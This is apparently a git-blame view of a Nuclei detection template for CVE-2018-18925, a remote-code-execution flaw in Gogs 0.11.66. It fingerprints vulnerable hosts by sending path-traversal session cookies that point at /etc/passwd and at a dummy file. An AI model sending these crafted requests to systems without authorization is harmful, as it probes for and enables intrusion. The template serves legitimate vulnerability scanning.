2022-02-09 20:40:54 +00:00
id : CVE-2018-18925
2022-04-22 10:38:41 +00:00
2022-02-09 20:40:54 +00:00
info :
2022-05-13 20:26:43 +00:00
name : Gogs (Go Git Service) 0.11.66 - Remote Code Execution
2022-02-09 20:40:54 +00:00
author : princechaddha
severity : critical
2022-05-13 20:26:43 +00:00
description : Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a ".." session-file forgery in the file session provider in file.go. This is related to session ID handling in the go-macaron/session code for Macaron.
2023-09-06 12:57:14 +00:00
remediation : This issue will be fixed by updating to the latest version of Gogs.
2022-02-09 20:40:54 +00:00
reference :
- https://www.anquanke.com/post/id/163575
- https://github.com/vulhub/vulhub/tree/master/gogs/CVE-2018-18925
- https://nvd.nist.gov/vuln/detail/cve-2018-18925
2022-05-17 09:18:12 +00:00
- https://github.com/gogs/gogs/issues/5469
2022-02-10 16:36:08 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2022-02-10 16:36:08 +00:00
cve-id : CVE-2018-18925
cwe-id : CWE-384
2023-10-14 11:27:55 +00:00
epss-score : 0.09538
2023-11-20 05:10:39 +00:00
epss-percentile : 0.94157
2023-09-06 12:57:14 +00:00
cpe : cpe:2.3:a:gogs:gogs:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : gogs
product : gogs
tags : gogs,lfi,rce,vulhub,cve,cve2018
2022-02-09 20:40:54 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-02-09 20:40:54 +00:00
- raw :
- |
GET / HTTP/1.1
2022-02-10 06:50:55 +00:00
Host : {{Hostname}}
2022-02-09 20:40:54 +00:00
Cookie : lang=en-US; i_like_gogits=../../../../etc/passwd;
- |
GET / HTTP/1.1
2022-02-10 06:50:55 +00:00
Host : {{Hostname}}
2022-02-09 20:40:54 +00:00
Cookie : lang=en-US; i_like_gogits=../../../../etc/dummy;
req-condition : true
matchers :
- type : dsl
dsl :
- 'status_code_1 == 500 && status_code_2 == 200 && contains(body_2, "<meta name=\"author\" content=\"Gogs\" />")'
2023-11-20 06:35:10 +00:00
# digest: 490a00463044022025f91655ade332c4bcf0a19c0ab04405dd41e0fa0b1f232b2218a462a24e799a02207bd0cf49fdf2c4bf108a248ccdeae7b4404b28ebc284452fada3df161412ffa2:922c64590222798bb761d5b6d8e72950